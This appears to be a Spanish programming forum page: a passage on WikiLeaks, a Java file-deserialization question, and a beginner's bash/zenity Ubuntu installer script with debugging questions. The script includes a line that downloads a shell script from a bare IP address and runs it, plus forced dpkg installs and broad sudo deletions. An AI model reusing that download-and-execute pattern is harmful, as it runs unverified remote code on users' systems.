El "alemán crítico" vertía sobre Assange una acusación sorprendente. "Es un paranóico, cree que le persiguen". Tan absurda que se ha barajado la hipótesis de que algunos de los disidentes puedan estar engañando al gato que les ofrece inmunidad. "Es como decir que Bin Laden es un paranóico por creer que le persiguen" dicen con buen humor los fieles de Julian Assange. "También es cierto que la entrevista se ha sacado de contexto. Se ha desvirtuado". Dicen otros.

La "acentuación" de la sensación de crisis interna en un grupo es de manual y en eso siempre ayudan los medios que informan estos días, copia y pega, que al menos seis personas del equipo han renunciado debido a que Julian Assange programó, sin consultar con nadie, la publicación de 392.000 documentos clasificados de Estados Unidos sobre la guerra de Irak. La fecha de publicación es el 18 de octubre...

La presión sobre los colaboradores de WikiLeaks y sus familias es cada día mayor. Nadie imagina lo que es esto
WikiLeaks ha entregado toda la documentación a medios afínes y a la Fundación Potter donde periodistas de verdad trabajan ahora mismo en un scoop mundial que al Pentágono le lleva a acentuar la presión mediática, política, jurídica y personal sobre Julian Assange.

Fuente: http://www.nacionred.com/censura/el-pentagono-aumenta-la-presion-sobre-wikileaks-al-temer-el-18-de-octubre
#24
Java / Error en lectura de Fichero
1 Septiembre 2010, 17:59 PM
Hola buenas, estoy aprendiendo a programar en java y estoy programando un proyecto que me mando mi hermano para ir aprendiendo, pero tengo un error que mas por darle vueltas no lo consiguo  resolver, se donde es y el porque pero no encuentro solucion, aqui teneis el codigo uno es para la lectura y otro para la escritura, el de la escritura esta bien me funciona a la perfeccion, el problema es el de la lectura y es la linea entre los chekpoint(para "depurar en ejecucio") 3 y 3.5 el error

Código (java) [Seleccionar]
public List<Entidad> obtenerVariasEntidades() {
List<Entidad> entidad = new ArrayList<Entidad>();
boolean est = false;
BufferedReader b = new BufferedReader(new InputStreamReader(System.in));
   String opc;
   try{
   while(!est)
   {
System.out.println("\t Inserte el CIF que desee buscar");
    String cif = b.readLine().trim().toUpperCase();
Persona persona;
    ObjectInputStream entrada = new ObjectInputStream(new FileInputStream(Constantes.FICHERO_PERSONAS));
System.out.println("Checkpoing entrada 3");
persona = (Persona) entrada.readObject(); //Este es el fallo lee un Object pero lo que inserte es un Array
System.out.println("Checkpoing entrada 3.5");//pero si veis mas abajo esta guardado como un Object
    while(persona != null)
    {
    if(persona.getCIF().equalsIgnoreCase(cif))
    {
    break;
    }
   
    while(persona == null)
    {
    System.out.println("\t> No hay ninguna persona guardada con ese CIF.");
    Principal.main(null);
    break;
    }
    }

System.out.println("Checkpoing entrada 4");
Entidad en = persona;
    entidad.add(en);
   
    System.out.println("¿Desea buscar otra persona?");
    opc = b.readLine().trim().toUpperCase();
    if(opc.equals("SI"))
    est = false;
    if(opc.equals("NO"))
    break;
   }
   }catch (IOException e) {
    System.err.print(e.getMessage());
} catch (ClassNotFoundException e) {
System.err.print(e.getMessage());
}
   return entidad;
}


public void escribirVariasEntidades(List<Entidad> entidades) {
entidades = new ArrayList<Entidad>();
BufferedReader b = new BufferedReader(new InputStreamReader(System.in));
boolean est = false;
while(!est){
try{
LeerEscribirEntidad lee = new LeerEscribirEntidad(b);
Persona persona = lee.obtenerPersonaPantalla();
Entidad en = persona;
entidades.add(en);
}catch(Exception e){
System.err.println(e.getMessage());
}
try {
ObjectOutputStream salida = new ObjectOutputStream(new FileOutputStream(Constantes.FICHERO_PERSONAS));
salida.writeObject(entidades);//Aqui escribo en el archivo pero como un Object
salida.close();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("\t ¿Desea insertar otro cliente?");
System.out.println("\t Inserte si para otro cliente");
System.out.println("\t Inserte no para salir");
try {
String s = b.readLine().trim().toUpperCase();
if(s.equals("SI"))
est = false;
if(s.equals("NO"))
est = true;
} catch (IOException e) {
e.printStackTrace();
}
}


}


El error cuando lo ejecuto:

Checkpoing entrada 3
java.util.ArrayList cannot be cast to es.practicasJava.lecturaFicheros.modelo.Persona

PD:He consultado en la api sobre read y nada y mirando en paginas y tampoco nada
#25
Hola buenas, estoy haciendo un script para ubuntu para la version 10.04, la gente sabra que ya ha salido la ultima version, bien decidi probar el script, pos hay partes que no me furulan y tenian que ser las partes mas importantes del programa, ire poniendo las partes de los que no me funcionan


Código (bash) [Seleccionar]

#!/bin/bash

pog=`zenity --title="P.A.U" --text="Seleccione los programas que desee instalar" --width="1000" --height="900" \
--list --column="Select" --column="Opciones" \
--checklist TRUE "Wine" TRUE "Gimp"  \
TRUE "Pidgin" TRUE "Chromium" TRUE "Compizfusion" TRUE "AWN"  TRUE "Docky"  TRUE "GnomeDo"  TRUE "Inkscape"  \
TRUE "Eclipse"  TRUE "Netbeans"  TRUE "Vim" TRUE "Skype" TRUE "K3B"  TRUE "Mozilla Thunderbird" TRUE "Amule" \
TRUE "Tucan Manager" TRUE "Vlc" TRUE "Comix" FALSE "K3b.Con las librerias de KDE" TRUE "JDownloader" \
TRUE "Amarok" TRUE "Atool" TRUE "Guake" TRUE "Emesene" TRUE "Gparted" TRUE "Google Chrome" TRUE "Virtualbox" \
TRUE "Hoz"  TRUE "Dvd::rip" TRUE "Avidemux" FALSE "Yakuake.Para KDE" TRUE "Alltray"`
if [ $? -eq 0 ]
then
for i in $pog ; do
echo ""
echo "Has elegido la opcion $i"
if [ "$i" = "Wine" ]
then
echo "chekpoint"
sudo apt-get -y install wine
clear
fi
if [ "$i" = "Gimp" ]
then
echo "checkpoint"
sudo sh -c "echo "deb http://ppa.launchpad.net/matthaeus123/mrw-gimp-svn/ubuntu lucid main" >> /etc/apt/sources.list" && sudo apt-key adv –recv-keys –keyserver keyserver.ubuntu.com 405A15CB && sudo apt-get update && sudo apt-get -y install gimp
clear
fi
if [ $i = "Pidgin" ]
then
sudo add-apt-repository ppa:pidgin-developers && sudo apt-get update && sudo aptitude -y install pidgin
clear
fi
if [ $i = "Chromium" ]
then
sudo add-apt-repository ppa:chromium-daily/ppa && sudo apt-get update && sudo apt-get -y install chromium-browser chromium-browser-l10n
clear
fi
if [ $i = "Compizfusion" ]
then
sudo add-apt-repository ppa:compiz && sudo apt-get update && sudo aptitude -y install simple-ccsm compizconfig-settings-manager emerald && install fusion-icon
clear
fi
if [ $i = "AWN" ]
then
sudo apt-get update && sudo apt-get -y install avant-window-navigator awn-extras-applets
clear
fi
if [ $i = "Docky" ]
then
sudo add-apt-repository ppa:ricotz/testing && sudo apt-get update && sudo apt-get -y install docky
clear
fi
if [ $i = "GnomeDo" ]
then
sudo add-apt-repository ppa:do-core && sudo apt-get update && sudo apt-get -y install gnome-do gnome-do-docklets gnome-do-plugins
clear
fi
if [ $i = "Inkscape" ]
then
sudo aptitude -y install inkscape
clear
fi
if [ $i = "Eclipse" ]
then
sudo aptitude -y install eclipse
clear
fi
if [ $i = "Netbeans" ]
then
sudo aptitude -y install netbeans
clear
fi
if [ $i = "Vim" ]
then
sudo aptitude -y install vim
clear
fi
if [ $i = "Skype" ]
then
cd /tmp      
wget http://download.skype.com/linux/skype-ubuntu-intrepid_2.1.0.81-1_${arch}.deb                          
sudo dpkg -i --force-all skype-ubuntu-intrepid_2.1.0.81-1_${arch}.deb                          
sudo apt-get -y --force-yes install -f -y                          
rm skype-ubuntu-intrepid_2.1.0.81-1_${arch}.deb
clear
fi
if [ $i = "K3B" ]
then
sudo aptitude -y install k3b
clear
fi
if [ $i = "Mozilla Thunderbird" ]
then
sudo aptitude -y install  mozilla-thunderbird thunderbird-locale-es-es
clear
fi
if [ $i  = "Amule" ]
then
sudo aptitude -y install amule
clear
fi
if [ $i = "Tucan Manager" ]
then
sudo aptitude -y install tucan
clear
fi
if [ $i = "Vlc" ]
then
sudo add-apt-repository ppa:c-korn && sudo apt-get update && sudo apt-get -y install vlc
clear
fi
if [ $i = "Comix" ]
then
sudo aptitude -y install comix
clear
fi
if [ $i = "K3b.Con las librerias de KDE" ]
then
sudo aptitude install k3b && sudo aptitude -y install kde-i18n-es k3b-i18n
clear
elif [ $i = "JDownloader" ]
then
wget http://212.117.163.148/jd.sh
chmod +x jd.sh
sh jd.sh
java -jar ~/.jd/JDownloader.jar
clear
fi
if [ $i = "Amarok" ]
then
sudo add-apt-repository ppa:kubuntu-ppa/backports && sudo apt-get update && sudo apt-get -y install amarok
clear
fi
if [ $i = "Atool" ]
then
sudo aptitude -y install atool
clear
fi
if [ $i = "Guake" ]
then
sudo apt-get -y install guake
clear
fi
if [ $i = "Emesene" ]
then
sudo apt-get -y install emesene
clear
fi
if [ $i = "Gparted" ]
then
sudo aptitude -y install gparted
clear
fi
if [ $i = "Google Chrome" ]
then
sudo add-apt-key ppa:chromium-daily/ppa && sudo apt-get update && sudo apt-get -y install chromium-browser
clear
fi
if [ $i = "Virtualbox" ]
then
cd /etc/apt/
echo "deb http://download.virtualbox.org/virtualbox/debian karmic non-free" >> sources.list
wget -q http://download.virtualbox.org/virtualbox/debian/sun_vbox.asc -O- | sudo apt-key add -
if [ "i686" = `uname -m` ]
then
cd /home/$USER/
wget http://download.virtualbox.org/virtualbox/3.1.6/virtualbox-3.1_3.1.6-59338_Ubuntu_karmic_${arch}.deb
dpkg -i --force-all virtualbox-3.1_3.1.6-59338_Ubuntu_karmic_${arch}.deb
sudo apt-get install -f -y
rm virtualbox-3.1_3.1.6-59338_Ubuntu_karmic_${arch}.deb
else
cd /home/$USER/
wget http://download.virtualbox.org/virtualbox/3.1.6/virtualbox-3.1_3.1.6-59338_Ubuntu_karmic_${arch}.deb
dpkg -i --force-all virtualbox-3.1_3.1.6-59338_Ubuntu_karmic_${arch}.deb
sudo apt-get install -f -y
rm virtualbox-3.1_3.1.6-59338_Ubuntu_karmic_${arch}.deb
fi
fi
if [ $i = "Hoz" ]
then
sudo apt-get -y install hoz-gui
fi
if [ $i = "Dvd::rip" ]
then
sudo aptitude -y install transcode && sudo aptitude -y install dvdrip
fi
if [ $i = "Avidemux" ]
then
sudo aptitude -y install avidemux
fi
if [ $i = "Yakuake.Para KDE" ]
then
sudo aptitude -y install yakuake
fi
if [ $i = "Alltray" ]
then
sudo aptitude -y install alltray
fi
done
fi


Causas: Esta parte va bien pero cuando eligo varias opciones no se instala ningun programa


Has elegido la opcion Wine|Gimp


Siguiente

Código (bash) [Seleccionar]

upd=`zenity --title="Actualizar" --text="Has seleccionado Actualizar, Limpiar\n. Hay dos tipos de actualizaciones una normal y otro mas sostificado.\n Si acabas de instalar mejor haz una sostificada. \n Al contrario si lo tenias instalado haz una normal.\n O si deseas limpiar los paquetes innecesarios de tu sistema."  \
   --width="500" --height="450" \
     --list --column="Select" --column="Opciones" \
           --checklist FALSE "Actualizacion normal" FALSE "Actualizacion sostificada" FALSE "Limpiar Ubuntu"`
if [ $? -eq 0 ]
then
for updopc in $upd
do
if [ $updopc = "Actualizacion normal" ]
then
zenity --info --title="INFO" --text="Este proceso lo mas seguro que no tarde mucho.\n Espere a que salga la ventana de informacion"
sudo aptitude update && sudo apt-get update
sleep 2
zenity --info --title="INFO" --text="Ya se ha actualizado su sistema"
clear
break
elif [ $updopc = "Actualizacion sostificada" ]
then
echo ""
zenity --info --title="INFO" --text="Este proceso puede que tarde mucho, espere a que te salga la ventana\n de informacion"
sudo aptitude update && sudo apt-get update
sudo aptitude upgrade && sudo apt-get upgrade
zenity --info --title="INFO" --text="Ya se ha actualiza tu sistema"
sleep 2
clear
fi
if [ $updopc = "Limpiar Ubuntu" ]
then
echo "chekpoint"
zenity --info --title="Limpieza.." --text="Ahora empezara la limpieza de Ubuntu"
    sudo apt-get autoremove && sudo apt-get autoclean && sudo apt-get clean
    OLDCONF=$(dpkg -l|grep "^rc"|awk '{print $2}')
    CURKERNEL=$(uname -r|sed 's/-*[a-z]//g'|sed 's/-386//g')
    LINUXPKG="linux-(image|headers|ubuntu-modules|restricted-modules)"
    METALINUXPKG="linux-(image|headers|restricted-modules)-(generic|i386|server|common|rt|xen)"
    OLDKERNELS=$(dpkg -l|awk '{print $2}'|grep -E $LINUXPKG |grep -vE $METALINUXPKG|grep -v $CURKERNEL)
    YELLOW="\033[1;33m"
    RED="\033[0;31m"
    ENDCOLOR="\033[0m"
    zenity --info --title="Limpiando" --text="$YELLOW""Cleaning apt cache...""$ENDCOLOR"
    sudo aptitude clean
    zenity --info --title="Limpiando" --text="$YELLOW""Removing old config files...""$ENDCOLOR"
    sudo aptitude purge $OLDCONF
    zenity --info --title="Limpiando" --text="$YELLOW""Removing old kernels...""$ENDCOLOR"
    sudo aptitude purge $OLDKERNELS
    zenity --info --title="Limpiando" --text="$YELLOW""Emptying every trashes...""$ENDCOLOR"
    rm -rf /home/*/.local/share/Trash/*/** &> /dev/null
    rm -rf /root/.local/share/Trash/*/** &> /dev/null
    clear
    mop=`zenity --title="P.A.U" --text="¿Tenia usted instalado mozilla-thunderbird?" \
--list --column="Select" --column="Opcion" \
--checklist FALSE "SI" FALSE "NO"`

fi
done
fi


Su error que cuando se selecciona una opcion no se ejecuta y no se me ocurre que hacer

y este es el ultimo

Código (bash) [Seleccionar]

var=otro
if [ $var = "otro" ]
then
ot=`zenity --title="P.A.U" --text="Has entrado en el menu de otros.\n Aqui van diferentes opciones" \
--width="500" --height="450" \
--list --column="Select" --column="Opciones" \
--checklist FALSE "Iconos del menu sistema" FALSE "Quitar sonido de inicio" FALSE "Poner el sonido de inico"  FALSE "Instalar Sharpfonts" FALSE "Arreglar el 'apt-get update' con los repositorios de Google"  FALSE "Resetear el 'apt-get update'" FALSE "Borrar Ubuntu-docs" FALSE "Instalar Ubuntu-docs" FALSE "Botones a la Izquierda" FALSE "Botones a la Derecha" FALSE "Instalar paquetes basicos de compilacion" FALSE "Instalar las librerias de desarrollo del kernel"`
if [ $? -eq 0 ]
then
for otopc in $ot
do
if [ "$otopc" = "Iconos del menu sistema" ]
then
gconftool-2 --type Boolean --set /desktop/gnome/interface/menus_have_icons True && killall gnome-panel
fi
if [ "$otopc" = "Quitar sonido de inicio" ]
then
sudo -u gdm gconftool-2 --set /desktop/gnome/sound/event_sounds --type bool false
                sudo -u $ON_USER "DBUS_SESSION_BUS_ADDRESS="$DBUS_SESSION_BUS_ADDRESS gconftool-2 --set /desktop/gnome/sound/event_sounds --type bool false
fi
if [ "$otopc" = "Poner el sonido de inicio" ]
then
sudo -u gdm gconftool-2 --set /desktop/gnome/sound/event_sounds --type bool true
                sudo -u $ON_USER "DBUS_SESSION_BUS_ADDRESS="$DBUS_SESSION_BUS_ADDRESS gconftool-2 --set /desktop/gnome/sound/event_sounds --type bool true
fi
if [ "$otopc" = "Instalar Sharpfonts" ]
then
zenity --info --text="Esto tardara dependiendo de tu conexion"
cd /tmp/
zenity --info --text="Ahora se instalara cabextract"
sudo apt-get -y install cabextract
zenity --info --text="Ya se ha instalado.\n Ahora se descargar lo necesirio"
wget http://sharpfonts.com/fonts/andale32.exe
                wget http://sharpfonts.com/fonts/arial32.exe
                wget http://sharpfonts.com/fonts/arialb32.exe
                wget http://sharpfonts.com/fonts/comic32.ex
                wget http://sharpfonts.com/fonts/courie32.exe
                wget http://sharpfonts.com/fonts/georgi32.exe
                wget http://sharpfonts.com/fonts/impact32.exe
                wget http://sharpfonts.com/fonts/tahoma32.exe
                wget http://sharpfonts.com/fonts/times32.exe
                wget http://sharpfonts.com/fonts/trebuc32.exe
                wget http://sharpfonts.com/fonts/verdan32.exe
                wget http://sharpfonts.com/fonts/webdin32.exe
sudo mkdir /usr/share/fonts/truetype/
cabextract -d /usr/share/fonts/truetype/ andale32.exe arial32.exe arialb32.exe comic32.exe courie32.exe georgi32.exe impact32.exe tahoma32.exe times32.exe trebuc32.exe verdan32.exe webdin32.exe
wget http://sharpfonts.com/fontconfig.tbz
                tar xvjpf fontconfig.tbz -C /etc/fonts/
                rm -r /tmp/*.exe
                rm /tmp/fontconfig.tbz
fi
if [ "$otopc" = "Arreglar el 'apt-get update' con los repositorios de Google" ]
then
echo "Acquire::http::Pipeline-Depth \"0\";" | sudo tee -a /etc/apt/apt.conf.d/90localsettings > /dev/null
fi
if [ "$otopc" = "Resetear el 'apt-get update'"]
then
sudo rm /etc/apt/apt.conf.d/90localsettings_back; sudo cp /etc/apt/apt.conf.d/90localsettings /etc/apt/apt.conf.d/90localsettings_back; cat /etc/apt/apt.conf.d/90localsettings_back | sudo sed -e '/^Acquire::http::Pipeline-Depth.*/d' > /etc/apt/apt.conf.d/90localsettings; sudo rm /etc/apt/apt.conf.d/90localsettings_back
fi
if [ "$otopc" = "Borrar Ubuntu-docs" ]
then
zenity --info --text="Esto te liberara 256MB"
sudo apt-get -y remove ubuntu-docs
fi
if [ "$otopc" = "Instalar Ubuntu-docs" ]
then
sudo apt-get -y install ubuntu-docs
fi
if [ "$otopc" = "Botones a la Izquierda" ]
then
gconftool-2 --type string --set /apps/metacity/general/button_layout "menu:close,minimize,maximize"
fi
if [ "$otopc" = "Botones a la Derecha" ]
then
zenity --info --title="INFO" --text="Ahora se cambiara los botones"
gconftool-2 --type string --set /apps/metacity/general/button_layout "close,minimize,maximize:menu"
fi
if [ "$otopc" = "Instalar paquetes basicos de compilacion" ]
then
sudo aptitude -y install build-essential
fi
if [ "$otopc" = "Instalar las librerias de desarrollo del kernel" ]
then
sudo aptitude -y install linux-headers-`uname -r`
fi
done
fi
       fi


Este no se ejecuta ninguna de las opciones que hay y este es el error que me da cuando ejecuto alguna opcion


[: 90: missing ]
[: 90: missing ]


Lo siento por el post tan largo o era poner esto para ir diciendo parte por parte o poner todo el script de mas de 400 lineas, lo he estado dando vueltas pero no he conseguido como hacerlo funcionar si alguien me puede ayudar
Código (bash) [Seleccionar]
#26
Scripting / Unas cuantas preguntas sobre bash
22 Abril 2010, 20:44 PM
Hola buenas, empeze el a programa en bash y a la vez haciendo un script lo mas completo posible para instalar programas  y mas opciones, bueno pos que me ha surguido unos cuantos problemas son los siguientes:

1-En el script estoy ahciendo instalar conky con una configuracion predeterminada o no, bueno pues no se como añadir datos a un arhcivo en bash, es decir editar un archivo por bash y no manualmente( ya que el script lo tenia que hacer practicamente solo) bueno aqui teneis el codigo de esa parte
Citar
elif [ $opc = "6" ]
then
clear
echo "Ahora mismo empezara la instalacion de conky"
sudo aptitude install conky
clear
sleep 2
echo "Bien ya ha terminado la instalacion del conky"
echo ""
echo "Si desea que el script te descargue una configuracion ya echa o al contrario si quieres buscar la configuracion  tu y buscarla por internet"
echo ""
echo "Si quieres que se descargue con una configuracion determinada escibra (d) o si quieres hacer tu mismo escribe (y) y pulse Enter"
echo ""
read cokopc
   if [ $cokopc = "d" ]
   then
   clear
   echo "Ahora empezara a descargarse el archivo"
   echo ""
   cd /home/$USER/
   touch .conkyrc #Aqui se crea el archivo en /home/$USER/
   fi
elif [ $cokopc = "y" ]
then
echo ""
echo "Te deseo suerte a que encuentres una configuracion que te agrade y que lo consigas suerte."
clear

2-Desde ayer me esta dando unos problemas cuando ejecuto mis script, ya que hago alguno de prueba bueno este es el problema

Citar
javaversion: línea 3: [: 1.6.0_0: se esperaba un operador unario

Aqui esta el codigo
Citar
#!/bin/bash

if [ "1.6.0_0" = `java -version` ]
then
clear
echo "esta instalado"
fi

Y aprovecho para ver si esta bien echo la forma de identificar si esta instalado java, ya que tengo para ver si tiene instalado java, cuando instale JDownloader y hacer el lanzador, ya que mucho novatos no lo usan por esa causa